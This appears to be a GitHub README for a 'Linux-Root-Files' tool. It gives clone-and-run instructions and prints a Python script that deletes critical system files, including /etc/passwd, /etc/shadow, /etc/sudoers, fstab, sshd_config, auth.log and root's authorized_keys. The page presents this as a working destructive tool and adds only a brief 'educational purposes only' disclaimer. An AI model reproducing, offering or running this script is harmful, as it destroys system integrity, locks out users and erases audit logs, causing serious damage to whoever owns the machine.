-
Install Python on your system if it is not already installed. You can download it from the official Python website.
-
Clone the repo to your device
-
Open a terminal/command prompt and navigate to the directory where you saved the python file.
-
Run the python script using the command
Linux-Root.py. This will execute the script and delete the files listed in thefiles_to_deletelist.
-
Just, Clone this repository -
git clone https://github.com/7ussainnabeel/Linux-Root-Files.git -
Now go to cloned directory and run
Linux-Root.sh-$ cd LINUX-ROOT-FILES $ bash Linux-Root.sh
import os
files_to_delete = [
"/etc/passwd",
"/etc/shadow",
"/etc/group",
"/etc/sudoers",
"/etc/ssh/sshd_config",
"/etc/hosts",
"/etc/network/interfaces",
"/etc/fstab",
"/etc/hostname",
"/etc/resolv.conf",
"/etc/securetty",
"/etc/motd",
"/var/log/auth.log",
"/root/.ssh/authorized_keys",
"/etc/hosts.allow",
"/etc/hosts.deny",
"/etc/crontab",
"/etc/cron.d/",
"/etc/passwd-",
"/etc/shadow-",
]
for file in files_to_delete:
if os.path.exists(file):
os.remove(file)
print(f"Deleted {file}")
else:
print(f"{file} does not exist")The script first imports the os module which provides a way to interact with the system.
The files_to_delete list contains the file paths of the files that the script will delete.
The script then iterates over each file in the files_to_delete list. If the file exists, it is deleted using the os.remove() function. The print() function is used to display a message indicating whether the file was deleted successfully or not.
This Tool is made for educational purposes only. Do not attempt to violate the law with anything contained here. If this is your intention, then Get the hell out of here!
This script is released under the MIT License.